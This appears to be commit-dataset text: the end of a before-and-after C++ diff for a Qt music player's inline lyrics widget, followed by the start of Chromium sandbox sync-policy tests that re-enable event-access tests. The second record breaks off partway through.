MIntStringMapIt it(m_lrcContainer);\n while(it.hasNext())\n {\n it.next();\n m_currentShowLrcContainer.append(it.value());\n }\n for(int i=0; i<MIN_LRCCONTAIN_COUNT\/2; ++i)\n m_currentShowLrcContainer<<\" \";\n\n return true;\n}\n\nQString MusicLrcContainerForInline::text() const\n{\n return m_musicLrcContainer[CURRENT_LRC_PAINT]->text();\n}\n\nvoid MusicLrcContainerForInline::setMaskLinearGradientColor(QColor color)\n{\n m_musicLrcContainer[CURRENT_LRC_PAINT]->setMaskLinearGradientColor(color);\n}\n\nvoid MusicLrcContainerForInline::startTimerClock()\n{\n m_musicLrcContainer[CURRENT_LRC_PAINT]->startTimerClock();\n}\n\nvoid MusicLrcContainerForInline::stopLrcMask()\n{\n m_musicLrcContainer[CURRENT_LRC_PAINT]->stopLrcMask();\n}\n\nvoid MusicLrcContainerForInline::setSongSpeedAndSlow(qint64 time)\n{\n foreach(qint64 value, m_lrcContainer.keys())\n {\n if(time < value)\n {\n time = value;\n break;\n }\n }\n for(int i=0; i<m_currentShowLrcContainer.count(); ++i)\n {\n if(m_currentShowLrcContainer[i] == m_lrcContainer.value(time))\n {\n m_currentLrcIndex = i - 3;\n break;\n }\n }\n}\n\nvoid MusicLrcContainerForInline::updateCurrentLrc(qint64 time)\n{\n if(!m_lrcContainer.isEmpty() &&\n m_currentLrcIndex + MIN_LRCCONTAIN_COUNT <= m_currentShowLrcContainer.count())\n {\n for(int i=0; i<MIN_LRCCONTAIN_COUNT; ++i)\n {\n m_musicLrcContainer[i]->setText(m_currentShowLrcContainer[m_currentLrcIndex + i]);\n }\n ++m_currentLrcIndex;\n static_cast<MusicLRCManagerForInline*>(m_musicLrcContainer[CURRENT_LRC_PAINT])->setUpdateLrc(true);\n m_musicLrcContainer[CURRENT_LRC_PAINT]->startLrcMask(time);\n\n for(int i=1; i<= MIN_LRCCONTAIN_COUNT; ++i)\n {\n MusicLRCManagerForInline *w = static_cast<MusicLRCManagerForInline*>(m_musicLrcContainer[i-1]);\n if(i == 1 || i == 9)\n {\n w->setFontSize(3);\n w->setTransparent(220);\n }\n if(i == 2 || i == 8)\n {\n w->setFontSize(2);\n w->setTransparent(105);\n }\n if(i == 3 || i == 4 || i == 6 || i == 7)\n {\n w->setFontSize(1);\n w->setTransparent(45);\n }\n }\n }\n}\n\nvoid MusicLrcContainerForInline::setLrcSize(LrcSizeTable size)\n{\n if(size < 13 || size > 17)\n {\n qDebug()<<\"set lrc size error!\";\n return;\n }\n for(int i=0; i<MIN_LRCCONTAIN_COUNT; ++i)\n {\n m_musicLrcContainer[i]->setLrcFontSize(size);\n }\n QSettings().setValue(\"LRCSIZECHOICED\",size);\n}\n\nint MusicLrcContainerForInline::getLrcSize()\n{\n return QSettings().value(\"LRCSIZECHOICED\").toInt();\n}\n\nvoid MusicLrcContainerForInline::paintEvent(QPaintEvent *)\n{\n QPainter painter(this);\n QFont font;\n painter.setFont(font);\n painter.setPen(QColor(Qt::white));\n painter.drawLine(0, m_mouseMovedAt.y(), width(), m_mouseMovedAt.y());\n painter.end();\n}\n\nvoid MusicLrcContainerForInline::mouseMoveEvent(QMouseEvent *event)\n{\n if(m_mouseLeftPressed)\n {\n m_mouseMovedAt = event->pos();\n update();\n }\n}\n\nvoid MusicLrcContainerForInline::mousePressEvent(QMouseEvent *event)\n{\n if(event->button() == Qt::LeftButton)\n {\n m_mouseLeftPressed = true;\n setCursor(Qt::CrossCursor);\n m_mouseMovedAt = m_mousePressedAt = event->pos();\n update();\n }\n}\n\nvoid MusicLrcContainerForInline::mouseReleaseEvent(QMouseEvent *event)\n{\n if(event->button() == Qt::LeftButton)\n {\n setCursor(Qt::ArrowCursor);\n m_mouseLeftPressed = false;\n changeLrcPostion(\"mouse\");\n m_mouseMovedAt = m_mousePressedAt = QPoint(-1,-1);\n update();\n }\n}\n\nvoid MusicLrcContainerForInline::wheelEvent(QWheelEvent *event)\n{\n MusicLrcContainer::wheelEvent(event);\n changeLrcPostion(QString::number(event->delta()));\n}\n\nvoid MusicLrcContainerForInline::changeLrcPostion(const QString &type)\n{\n int level = m_currentLrcIndex;\n\n if(type == \"mouse\")\n m_currentLrcIndex += (m_mousePressedAt.y() - m_mouseMovedAt.y()) \/ 35;\n else\n type.toInt() < 0 ? --m_currentLrcIndex : ++m_currentLrcIndex;\n\n if(m_currentLrcIndex < 0) m_currentLrcIndex = 0;\n if(m_currentLrcIndex + MIN_LRCCONTAIN_COUNT < m_currentShowLrcContainer.count())\n {\n MIntStringMapIt it(m_lrcContainer);\n for(int i=0; i<m_currentLrcIndex + 1; ++i)\n if(it.hasNext()) it.next();\n emit updateCurrentTime(it.key());\n }\n else\n m_currentLrcIndex = level;\n}\n\nvoid MusicLrcContainerForInline::contextMenuEvent(QContextMenuEvent *)\n{\n QMenu menu(this);\n QMenu changColorMenu(tr(\"changColorMenu\"),this);\n QMenu changeLrcSize(tr(\"changeLrcSize\"),this);\n changColorMenu.setStyleSheet(MusicObject::MusicSystemTrayMenu);\n changeLrcSize.setStyleSheet(MusicObject::MusicSystemTrayMenu);\n menu.setStyleSheet(MusicObject::MusicSystemTrayMenu);\n menu.addAction(tr(\"searchLrcs\"), this, SLOT(searchMusicLrcs()));\n menu.addAction(tr(\"updateLrc\"), this, SIGNAL(theCurrentLrcUpdated()));\n menu.addSeparator();\n menu.addMenu(&changColorMenu);\n menu.addMenu(&changeLrcSize);\n menu.addSeparator();\n\n changeLrcSize.addAction(tr(\"smaller\"),this,SLOT(changeLrcSizeSmaller()));\n changeLrcSize.addAction(tr(\"small\"),this,SLOT(changeLrcSizeSmall()));\n changeLrcSize.addAction(tr(\"middle\"),this,SLOT(changeLrcSizeMiddle()));\n changeLrcSize.addAction(tr(\"big\"),this,SLOT(changeLrcSizeBig()));\n changeLrcSize.addAction(tr(\"bigger\"),this,SLOT(changeLrcSizeBigger()));\n changeLrcSize.addSeparator();\n changeLrcSize.addAction(tr(\"custom\"),this,SLOT(currentLrcCustom()));\n createColorMenu(changColorMenu);\n\n QAction *artBgAc = menu.addAction(tr(\"artbgoff\"), this, SLOT(theArtBgChanged()));\n m_showArtBackground ? artBgAc->setText(tr(\"artbgoff\")) : artBgAc->setText(tr(\"artbgon\")) ;\n QAction *showLrc = menu.addAction(tr(\"lrcoff\"), this, SLOT(theShowLrcChanged()));\n m_showInlineLrc ? showLrc->setText(tr(\"lrcoff\")) : showLrc->setText(tr(\"lrcon\"));\n menu.addAction(tr(\"artbgupload\"), this, SLOT(theArtBgUploaded()));\n menu.addSeparator();\n bool fileCheck = !m_currentLrcFileName.isEmpty() && QFile::exists(m_currentLrcFileName);\n QAction *copyToClipAc = menu.addAction(tr(\"copyToClip\"),this,SLOT(lrcCopyClipboard()));\n copyToClipAc->setEnabled( fileCheck );\n QAction *showLrcFileAc = menu.addAction(tr(\"showLrcFile\"),this,SLOT(lrcOpenFileDir()));\n showLrcFileAc->setEnabled( fileCheck );\n\n menu.addSeparator();\n menu.addAction(tr(\"customSetting\"),this,SLOT(currentLrcCustom()));\n\n menu.exec(QCursor::pos());\n}\n\nvoid MusicLrcContainerForInline::theArtBgChanged()\n{\n m_showArtBackground = !m_showArtBackground;\n emit theArtBgHasChanged();\n}\n\nvoid MusicLrcContainerForInline::theArtBgUploaded()\n{\n MusicLrcArtPhotoUpload artDialog(this);\n artDialog.exec();\n m_showArtBackground = true;\n emit theArtBgHasChanged();\n}\n\nvoid MusicLrcContainerForInline::theShowLrcChanged()\n{\n m_showInlineLrc = !m_showInlineLrc;\n foreach(MusicLRCManager *w, m_musicLrcContainer)\n {\n w->setVisible( m_showInlineLrc );\n }\n}\n\nvoid MusicLrcContainerForInline::lrcOpenFileDir()\n{\n QDesktopServices::openUrl(QUrl(QFileInfo(m_currentLrcFileName).absolutePath(), QUrl::TolerantMode));\n}\n\nvoid MusicLrcContainerForInline::lrcCopyClipboard()\n{\n QClipboard *clipBoard = QApplication::clipboard();\n QString clipString;\n foreach(QString s, m_lrcContainer.values())\n {\n clipString.append(s);\n }\n clipBoard->setText(clipString);\n}\n<commit_msg>fix drag timer slider bar error[323212]<commit_after>#include \"musiclrccontainerforinline.h\"\n#include \"musiclrcmanagerforinline.h\"\n#include \"musiclrcartphotoupload.h\"\n#include \"musiclrcfloatwidget.h\"\n\n#include <QVBoxLayout>\n#include <QSettings>\n#include <QPainter>\n#include <QDesktopServices>\n#include <QClipboard>\n#include <QApplication>\n\nMusicLrcContainerForInline::MusicLrcContainerForInline(QWidget *parent) :\n MusicLrcContainer(parent)\n{\n m_vBoxLayout = new QVBoxLayout(this);\n m_vBoxLayout->setMargin(0);\n\n setLayout(m_vBoxLayout);\n m_containerType = \"INLINE\";\n for(int i=0; i<MIN_LRCCONTAIN_COUNT; ++i)\n {\n MusicLRCManager *w = new MusicLRCManagerForInline(this);\n m_vBoxLayout->addWidget(w);\n m_musicLrcContainer.append(w);\n }\n\n changeCurrentLrcColorOrigin();\n m_currentLrcIndex = 0;\n m_mouseMovedAt = QPoint(-1,-1);\n m_mousePressedAt = QPoint(-1,-1);\n m_mouseLeftPressed = false;\n m_showArtBackground = true;\n m_showInlineLrc = true;\n for(int i=0; i<MIN_LRCCONTAIN_COUNT; ++i)\n m_musicLrcContainer[i]->setText(\".........\");\n m_musicLrcContainer[CURRENT_LRC_PAINT]->setText(tr(\"noCurrentSongPlay\"));\n\n m_lrcFloatWidget = new MusicLrcFloatWidget(this);\n}\n\nMusicLrcContainerForInline::~MusicLrcContainerForInline()\n{\n clearAllMusicLRCManager();\n delete m_vBoxLayout;\n delete m_lrcFloatWidget;\n}\n\nbool MusicLrcContainerForInline::transLrcFileToTime(const QString& lrcFileName)\n{\n static_cast<MusicLRCManagerForInline*>(m_musicLrcContainer[CURRENT_LRC_PAINT])->setUpdateLrc(false);\n m_lrcContainer.clear();\/\/\/Clear the original map\n m_currentShowLrcContainer.clear();\/\/\/Clear the original lrc\n QFile file(m_currentLrcFileName = lrcFileName); \/\/\/Open the lyrics file\n\n for(int i=0; i<MIN_LRCCONTAIN_COUNT; ++i)\n m_musicLrcContainer[i]->setText(\".........\");\n if(!file.open(QIODevice::ReadOnly))\n {\n m_musicLrcContainer[CURRENT_LRC_PAINT]->setText(tr(\"unFoundLrc\"));\n return false;\n }\n else\n m_musicLrcContainer[CURRENT_LRC_PAINT]->setText(tr(\"noCurrentSongPlay\"));\n\n QString getAllText = QString(file.readAll());\n file.close();\n \/\/The lyrics by line into the lyrics list\n QStringList lines = getAllText.split(\"\\n\");\n \/\/This is the time the label format[00:05.54]\n \/\/Regular expressionsd {2} Said matching 2 numbers\n QRegExp reg(\"\\\\[\\\\d{2}:\\\\d{2}\\\\.\\\\d{2}\\\\]\");\n foreach(QString oneLine, lines)\n {\n QString temp = oneLine;\n temp.replace(reg,\"\");\n \/*Replace the regular expression matching in place with the empty\n string, then we get the lyrics text,And then get all the time the\n label in the current row, and separately with lyrics text into QMap\n IndexIn () to return to the first matching position, if the return\n is -1, said no match,Under normal circumstances, POS should be\n followed is corresponding to the lyrics file\n *\/\n int pos = reg.indexIn(oneLine, 0);\n while(pos != -1)\n { \/\/That match\n QString cap = reg.cap(0);\n \/\/Return zeroth expression matching the content\n \/\/The time tag into the time value, in milliseconds\n QRegExp regexp;\n regexp.setPattern(\"\\\\d{2}(?=:)\");\n regexp.indexIn(cap);\n int minute = regexp.cap(0).toInt();\n regexp.setPattern(\"\\\\d{2}(?=\\\\.)\");\n regexp.indexIn(cap);\n int second = regexp.cap(0).toInt();\n regexp.setPattern(\"\\\\d{2}(?=\\\\])\");\n regexp.indexIn(cap);\n int millisecond = regexp.cap(0).toInt();\n qint64 totalTime = minute * 60000 + second * 1000 + millisecond * 10;\n \/\/Insert into lrcContainer\n m_lrcContainer.insert(totalTime, temp);\n pos += reg.matchedLength();\n pos = reg.indexIn(oneLine, pos);\/\/Matching all\n }\n }\n \/\/If the lrcContainer is empty\n if (m_lrcContainer.isEmpty())\n {\n m_musicLrcContainer[CURRENT_LRC_PAINT]->setText(tr(\"lrcFileError\"));\n return false;\n }\n\n m_currentShowLrcContainer.clear();\n m_currentLrcIndex = 0;\n\n for(int i=0; i<MIN_LRCCONTAIN_COUNT\/2; ++i)\n m_currentShowLrcContainer<<\".........\";\n if(m_lrcContainer.find(0) == m_lrcContainer.end())\n m_lrcContainer.insert(0,\".........\");\n\n MIntStringMapIt it(m_lrcContainer);\n while(it.hasNext())\n {\n it.next();\n m_currentShowLrcContainer.append(it.value());\n }\n for(int i=0; i<MIN_LRCCONTAIN_COUNT\/2; ++i)\n m_currentShowLrcContainer<<\" \";\n\n return true;\n}\n\nQString MusicLrcContainerForInline::text() const\n{\n return m_musicLrcContainer[CURRENT_LRC_PAINT]->text();\n}\n\nvoid MusicLrcContainerForInline::setMaskLinearGradientColor(QColor color)\n{\n m_musicLrcContainer[CURRENT_LRC_PAINT]->setMaskLinearGradientColor(color);\n}\n\nvoid MusicLrcContainerForInline::startTimerClock()\n{\n m_musicLrcContainer[CURRENT_LRC_PAINT]->startTimerClock();\n}\n\nvoid MusicLrcContainerForInline::stopLrcMask()\n{\n m_musicLrcContainer[CURRENT_LRC_PAINT]->stopLrcMask();\n}\n\nvoid MusicLrcContainerForInline::setSongSpeedAndSlow(qint64 time)\n{\n foreach(qint64 value, m_lrcContainer.keys())\n {\n if(time < value)\n {\n time = value;\n break;\n }\n }\n for(int i=0; i<m_currentShowLrcContainer.count(); ++i)\n {\n if(m_currentShowLrcContainer[i] == m_lrcContainer.value(time))\n {\n m_currentLrcIndex = i - CURRENT_LRC_PAINT - 1;\n break;\n }\n }\n}\n\nvoid MusicLrcContainerForInline::updateCurrentLrc(qint64 time)\n{\n if(!m_lrcContainer.isEmpty() &&\n m_currentLrcIndex + MIN_LRCCONTAIN_COUNT <= m_currentShowLrcContainer.count())\n {\n for(int i=0; i<MIN_LRCCONTAIN_COUNT; ++i)\n {\n m_musicLrcContainer[i]->setText(m_currentShowLrcContainer[m_currentLrcIndex + i]);\n }\n ++m_currentLrcIndex;\n static_cast<MusicLRCManagerForInline*>(m_musicLrcContainer[CURRENT_LRC_PAINT])->setUpdateLrc(true);\n m_musicLrcContainer[CURRENT_LRC_PAINT]->startLrcMask(time);\n\n for(int i=1; i<= MIN_LRCCONTAIN_COUNT; ++i)\n {\n MusicLRCManagerForInline *w = static_cast<MusicLRCManagerForInline*>(m_musicLrcContainer[i-1]);\n if(i == 1 || i == 9)\n {\n w->setFontSize(3);\n w->setTransparent(220);\n }\n if(i == 2 || i == 8)\n {\n w->setFontSize(2);\n w->setTransparent(105);\n }\n if(i == 3 || i == 4 || i == 6 || i == 7)\n {\n w->setFontSize(1);\n w->setTransparent(45);\n }\n }\n }\n}\n\nvoid MusicLrcContainerForInline::setLrcSize(LrcSizeTable size)\n{\n if(size < 13 || size > 17)\n {\n qDebug()<<\"set lrc size error!\";\n return;\n }\n for(int i=0; i<MIN_LRCCONTAIN_COUNT; ++i)\n {\n m_musicLrcContainer[i]->setLrcFontSize(size);\n }\n QSettings().setValue(\"LRCSIZECHOICED\",size);\n}\n\nint MusicLrcContainerForInline::getLrcSize()\n{\n return QSettings().value(\"LRCSIZECHOICED\").toInt();\n}\n\nvoid MusicLrcContainerForInline::paintEvent(QPaintEvent *)\n{\n QPainter painter(this);\n QFont font;\n painter.setFont(font);\n painter.setPen(QColor(Qt::white));\n painter.drawLine(0, m_mouseMovedAt.y(), width(), m_mouseMovedAt.y());\n painter.end();\n}\n\nvoid MusicLrcContainerForInline::mouseMoveEvent(QMouseEvent *event)\n{\n if(m_mouseLeftPressed)\n {\n m_mouseMovedAt = event->pos();\n update();\n }\n}\n\nvoid MusicLrcContainerForInline::mousePressEvent(QMouseEvent *event)\n{\n if(event->button() == Qt::LeftButton)\n {\n m_mouseLeftPressed = true;\n setCursor(Qt::CrossCursor);\n m_mouseMovedAt = m_mousePressedAt = event->pos();\n update();\n }\n}\n\nvoid MusicLrcContainerForInline::mouseReleaseEvent(QMouseEvent *event)\n{\n if(event->button() == Qt::LeftButton)\n {\n setCursor(Qt::ArrowCursor);\n m_mouseLeftPressed = false;\n changeLrcPostion(\"mouse\");\n m_mouseMovedAt = m_mousePressedAt = QPoint(-1,-1);\n update();\n }\n}\n\nvoid MusicLrcContainerForInline::wheelEvent(QWheelEvent *event)\n{\n MusicLrcContainer::wheelEvent(event);\n changeLrcPostion(QString::number(event->delta()));\n}\n\nvoid MusicLrcContainerForInline::changeLrcPostion(const QString &type)\n{\n int level = m_currentLrcIndex;\n\n if(type == \"mouse\")\n m_currentLrcIndex += (m_mousePressedAt.y() - m_mouseMovedAt.y()) \/ 35;\n else\n type.toInt() < 0 ? --m_currentLrcIndex : ++m_currentLrcIndex;\n\n if(m_currentLrcIndex < 0) m_currentLrcIndex = 0;\n if(m_currentLrcIndex + MIN_LRCCONTAIN_COUNT < m_currentShowLrcContainer.count())\n {\n MIntStringMapIt it(m_lrcContainer);\n for(int i=0; i<m_currentLrcIndex + 1; ++i)\n if(it.hasNext()) it.next();\n emit updateCurrentTime(it.key());\n }\n else\n m_currentLrcIndex = level;\n}\n\nvoid MusicLrcContainerForInline::contextMenuEvent(QContextMenuEvent *)\n{\n QMenu menu(this);\n QMenu changColorMenu(tr(\"changColorMenu\"),this);\n QMenu changeLrcSize(tr(\"changeLrcSize\"),this);\n changColorMenu.setStyleSheet(MusicObject::MusicSystemTrayMenu);\n changeLrcSize.setStyleSheet(MusicObject::MusicSystemTrayMenu);\n menu.setStyleSheet(MusicObject::MusicSystemTrayMenu);\n menu.addAction(tr(\"searchLrcs\"), this, SLOT(searchMusicLrcs()));\n menu.addAction(tr(\"updateLrc\"), this, SIGNAL(theCurrentLrcUpdated()));\n menu.addSeparator();\n menu.addMenu(&changColorMenu);\n menu.addMenu(&changeLrcSize);\n menu.addSeparator();\n\n changeLrcSize.addAction(tr(\"smaller\"),this,SLOT(changeLrcSizeSmaller()));\n changeLrcSize.addAction(tr(\"small\"),this,SLOT(changeLrcSizeSmall()));\n changeLrcSize.addAction(tr(\"middle\"),this,SLOT(changeLrcSizeMiddle()));\n changeLrcSize.addAction(tr(\"big\"),this,SLOT(changeLrcSizeBig()));\n changeLrcSize.addAction(tr(\"bigger\"),this,SLOT(changeLrcSizeBigger()));\n changeLrcSize.addSeparator();\n changeLrcSize.addAction(tr(\"custom\"),this,SLOT(currentLrcCustom()));\n createColorMenu(changColorMenu);\n\n QAction *artBgAc = menu.addAction(tr(\"artbgoff\"), this, SLOT(theArtBgChanged()));\n m_showArtBackground ? artBgAc->setText(tr(\"artbgoff\")) : artBgAc->setText(tr(\"artbgon\")) ;\n QAction *showLrc = menu.addAction(tr(\"lrcoff\"), this, SLOT(theShowLrcChanged()));\n m_showInlineLrc ? showLrc->setText(tr(\"lrcoff\")) : showLrc->setText(tr(\"lrcon\"));\n menu.addAction(tr(\"artbgupload\"), this, SLOT(theArtBgUploaded()));\n menu.addSeparator();\n bool fileCheck = !m_currentLrcFileName.isEmpty() && QFile::exists(m_currentLrcFileName);\n QAction *copyToClipAc = menu.addAction(tr(\"copyToClip\"),this,SLOT(lrcCopyClipboard()));\n copyToClipAc->setEnabled( fileCheck );\n QAction *showLrcFileAc = menu.addAction(tr(\"showLrcFile\"),this,SLOT(lrcOpenFileDir()));\n showLrcFileAc->setEnabled( fileCheck );\n\n menu.addSeparator();\n menu.addAction(tr(\"customSetting\"),this,SLOT(currentLrcCustom()));\n\n menu.exec(QCursor::pos());\n}\n\nvoid MusicLrcContainerForInline::theArtBgChanged()\n{\n m_showArtBackground = !m_showArtBackground;\n emit theArtBgHasChanged();\n}\n\nvoid MusicLrcContainerForInline::theArtBgUploaded()\n{\n MusicLrcArtPhotoUpload artDialog(this);\n artDialog.exec();\n m_showArtBackground = true;\n emit theArtBgHasChanged();\n}\n\nvoid MusicLrcContainerForInline::theShowLrcChanged()\n{\n m_showInlineLrc = !m_showInlineLrc;\n foreach(MusicLRCManager *w, m_musicLrcContainer)\n {\n w->setVisible( m_showInlineLrc );\n }\n}\n\nvoid MusicLrcContainerForInline::lrcOpenFileDir()\n{\n QDesktopServices::openUrl(QUrl(QFileInfo(m_currentLrcFileName).absolutePath(), QUrl::TolerantMode));\n}\n\nvoid MusicLrcContainerForInline::lrcCopyClipboard()\n{\n QClipboard *clipBoard = QApplication::clipboard();\n QString clipString;\n foreach(QString s, m_lrcContainer.values())\n {\n clipString.append(s);\n }\n clipBoard->setText(clipString);\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"sandbox\/win\/src\/sync_policy_test.h\"\n\n#include \"base\/win\/scoped_handle.h\"\n#include \"sandbox\/win\/src\/sandbox.h\"\n#include \"sandbox\/win\/src\/sandbox_policy.h\"\n#include \"sandbox\/win\/src\/sandbox_factory.h\"\n#include \"sandbox\/win\/src\/nt_internals.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n\nnamespace sandbox {\n\nSBOX_TESTS_COMMAND int Event_Open(int argc, wchar_t **argv) {\n if (argc != 2)\n return SBOX_TEST_FAILED_TO_EXECUTE_COMMAND;\n\n DWORD desired_access = SYNCHRONIZE;\n if (L'f' == argv[0][0])\n desired_access = EVENT_ALL_ACCESS;\n\n base::win::ScopedHandle event_open(::OpenEvent(\n desired_access, FALSE, argv[1]));\n DWORD error_open = ::GetLastError();\n\n if (event_open.IsValid())\n return SBOX_TEST_SUCCEEDED;\n\n if (ERROR_ACCESS_DENIED == error_open ||\n ERROR_BAD_PATHNAME == error_open ||\n ERROR_FILE_NOT_FOUND == error_open)\n return SBOX_TEST_DENIED;\n\n return SBOX_TEST_FAILED;\n}\n\nSBOX_TESTS_COMMAND int Event_CreateOpen(int argc, wchar_t **argv) {\n if (argc < 2 || argc > 3)\n return SBOX_TEST_FAILED_TO_EXECUTE_COMMAND;\n\n wchar_t *event_name = NULL;\n if (3 == argc)\n event_name = argv[2];\n\n BOOL manual_reset = FALSE;\n BOOL initial_state = FALSE;\n if (L't' == argv[0][0])\n manual_reset = TRUE;\n if (L't' == argv[1][0])\n initial_state = TRUE;\n\n base::win::ScopedHandle event_create(::CreateEvent(\n NULL, manual_reset, initial_state, event_name));\n DWORD error_create = ::GetLastError();\n base::win::ScopedHandle event_open;\n if (event_name)\n event_open.Set(::OpenEvent(EVENT_ALL_ACCESS, FALSE, event_name));\n\n if (event_create.IsValid()) {\n DWORD wait = ::WaitForSingleObject(event_create.Get(), 0);\n if (initial_state && WAIT_OBJECT_0 != wait)\n return SBOX_TEST_FAILED;\n\n if (!initial_state && WAIT_TIMEOUT != wait)\n return SBOX_TEST_FAILED;\n }\n\n if (event_name) {\n \/\/ Both event_open and event_create have to be valid.\n if (event_open.IsValid() && event_create.IsValid())\n return SBOX_TEST_SUCCEEDED;\n\n if ((event_open.IsValid() && !event_create.IsValid()) ||\n (!event_open.IsValid() && event_create.IsValid())) {\n return SBOX_TEST_FAILED;\n }\n } else {\n \/\/ Only event_create has to be valid.\n if (event_create.Get())\n return SBOX_TEST_SUCCEEDED;\n }\n\n if (ERROR_ACCESS_DENIED == error_create ||\n ERROR_BAD_PATHNAME == error_create)\n return SBOX_TEST_DENIED;\n\n return SBOX_TEST_FAILED;\n}\n\n\/\/ Tests the creation of events using all the possible combinations.\nTEST(SyncPolicyTest, DISABLED_TestEvent) {\n TestRunner runner;\n EXPECT_TRUE(runner.AddRule(TargetPolicy::SUBSYS_SYNC,\n TargetPolicy::EVENTS_ALLOW_ANY,\n L\"test1\"));\n EXPECT_TRUE(runner.AddRule(TargetPolicy::SUBSYS_SYNC,\n TargetPolicy::EVENTS_ALLOW_ANY,\n L\"test2\"));\n\n EXPECT_EQ(SBOX_TEST_SUCCEEDED, runner.RunTest(L\"Event_CreateOpen f f\"));\n EXPECT_EQ(SBOX_TEST_SUCCEEDED, runner.RunTest(L\"Event_CreateOpen t f\"));\n EXPECT_EQ(SBOX_TEST_SUCCEEDED, runner.RunTest(L\"Event_CreateOpen f t\"));\n EXPECT_EQ(SBOX_TEST_SUCCEEDED, runner.RunTest(L\"Event_CreateOpen t t\"));\n EXPECT_EQ(SBOX_TEST_SUCCEEDED, runner.RunTest(L\"Event_CreateOpen f f test1\"));\n EXPECT_EQ(SBOX_TEST_SUCCEEDED, runner.RunTest(L\"Event_CreateOpen t f test2\"));\n EXPECT_EQ(SBOX_TEST_SUCCEEDED, runner.RunTest(L\"Event_CreateOpen f t test1\"));\n EXPECT_EQ(SBOX_TEST_SUCCEEDED, runner.RunTest(L\"Event_CreateOpen t t test2\"));\n EXPECT_EQ(SBOX_TEST_DENIED, runner.RunTest(L\"Event_CreateOpen f f test3\"));\n EXPECT_EQ(SBOX_TEST_DENIED, runner.RunTest(L\"Event_CreateOpen t f test4\"));\n EXPECT_EQ(SBOX_TEST_DENIED, runner.RunTest(L\"Event_CreateOpen f t test3\"));\n EXPECT_EQ(SBOX_TEST_DENIED, runner.RunTest(L\"Event_CreateOpen t t test4\"));\n}\n\n\/\/ Tests opening events with read only access.\nTEST(SyncPolicyTest, DISABLED_TestEventReadOnly) {\n TestRunner runner;\n EXPECT_TRUE(runner.AddRule(TargetPolicy::SUBSYS_SYNC,\n TargetPolicy::EVENTS_ALLOW_READONLY,\n L\"test1\"));\n EXPECT_TRUE(runner.AddRule(TargetPolicy::SUBSYS_SYNC,\n TargetPolicy::EVENTS_ALLOW_READONLY,\n L\"test2\"));\n EXPECT_TRUE(runner.AddRule(TargetPolicy::SUBSYS_SYNC,\n TargetPolicy::EVENTS_ALLOW_READONLY,\n L\"test5\"));\n EXPECT_TRUE(runner.AddRule(TargetPolicy::SUBSYS_SYNC,\n TargetPolicy::EVENTS_ALLOW_READONLY,\n L\"test6\"));\n\n base::win::ScopedHandle handle1(::CreateEvent(NULL, FALSE, FALSE, L\"test1\"));\n base::win::ScopedHandle handle2(::CreateEvent(NULL, FALSE, FALSE, L\"test2\"));\n base::win::ScopedHandle handle3(::CreateEvent(NULL, FALSE, FALSE, L\"test3\"));\n base::win::ScopedHandle handle4(::CreateEvent(NULL, FALSE, FALSE, L\"test4\"));\n\n EXPECT_EQ(SBOX_TEST_SUCCEEDED, runner.RunTest(L\"Event_CreateOpen f f\"));\n EXPECT_EQ(SBOX_TEST_SUCCEEDED, runner.RunTest(L\"Event_CreateOpen t f\"));\n EXPECT_EQ(SBOX_TEST_DENIED, runner.RunTest(L\"Event_Open f test1\"));\n EXPECT_EQ(SBOX_TEST_SUCCEEDED, runner.RunTest(L\"Event_Open s test2\"));\n EXPECT_EQ(SBOX_TEST_DENIED, runner.RunTest(L\"Event_Open f test3\"));\n EXPECT_EQ(SBOX_TEST_DENIED, runner.RunTest(L\"Event_Open s test4\"));\n EXPECT_EQ(SBOX_TEST_DENIED, runner.RunTest(L\"Event_CreateOpen f f test5\"));\n EXPECT_EQ(SBOX_TEST_DENIED, runner.RunTest(L\"Event_CreateOpen t f test6\"));\n EXPECT_EQ(SBOX_TEST_DENIED, runner.RunTest(L\"Event_CreateOpen f t test5\"));\n EXPECT_EQ(SBOX_TEST_DENIED, runner.RunTest(L\"Event_CreateOpen t t test6\"));\n}\n\n} \/\/ namespace sandbox\n<commit_msg>Sandbox: Reenable tests that were disabled \"temporarily\" 2 years ago.<commit_after>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"sandbox\/win\/src\/sync_policy_test.h\"\n\n#include \"base\/win\/scoped_handle.h\"\n#include \"sandbox\/win\/src\/sandbox.h\"\n#include \"sandbox\/win\/src\/sandbox_policy.h\"\n#include \"sandbox\/win\/src\/sandbox_factory.h\"\n#include \"sandbox\/win\/src\/nt_internals.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n\nnamespace sandbox {\n\nSBOX_TESTS_COMMAND int Event_Open(int argc, wchar_t **argv) {\n if (argc != 2)\n return SBOX_TEST_FAILED_TO_EXECUTE_COMMAND;\n\n DWORD desired_access = SYNCHRONIZE;\n if (L'f' == argv[0][0])\n desired_access = EVENT_ALL_ACCESS;\n\n base::win::ScopedHandle event_open(::OpenEvent(\n desired_access, FALSE, argv[1]));\n DWORD error_open = ::GetLastError();\n\n if (event_open.IsValid())\n return SBOX_TEST_SUCCEEDED;\n\n if (ERROR_ACCESS_DENIED == error_open ||\n ERROR_BAD_PATHNAME == error_open ||\n ERROR_FILE_NOT_FOUND == error_open)\n return SBOX_TEST_DENIED;\n\n return SBOX_TEST_FAILED;\n}\n\nSBOX_TESTS_COMMAND int Event_CreateOpen(int argc, wchar_t **argv) {\n if (argc < 2 || argc > 3)\n return SBOX_TEST_FAILED_TO_EXECUTE_COMMAND;\n\n wchar_t *event_name = NULL;\n if (3 == argc)\n event_name = argv[2];\n\n BOOL manual_reset = FALSE;\n BOOL initial_state = FALSE;\n if (L't' == argv[0][0])\n manual_reset = TRUE;\n if (L't' == argv[1][0])\n initial_state = TRUE;\n\n base::win::ScopedHandle event_create(::CreateEvent(\n NULL, manual_reset, initial_state, event_name));\n DWORD error_create = ::GetLastError();\n base::win::ScopedHandle event_open;\n if (event_name)\n event_open.Set(::OpenEvent(EVENT_ALL_ACCESS, FALSE, event_name));\n\n if (event_create.IsValid()) {\n DWORD wait = ::WaitForSingleObject(event_create.Get(), 0);\n if (initial_state && WAIT_OBJECT_0 != wait)\n return SBOX_TEST_FAILED;\n\n if (!initial_state && WAIT_TIMEOUT != wait)\n return SBOX_TEST_FAILED;\n }\n\n if (event_name) {\n \/\/ Both event_open and event_create have to be 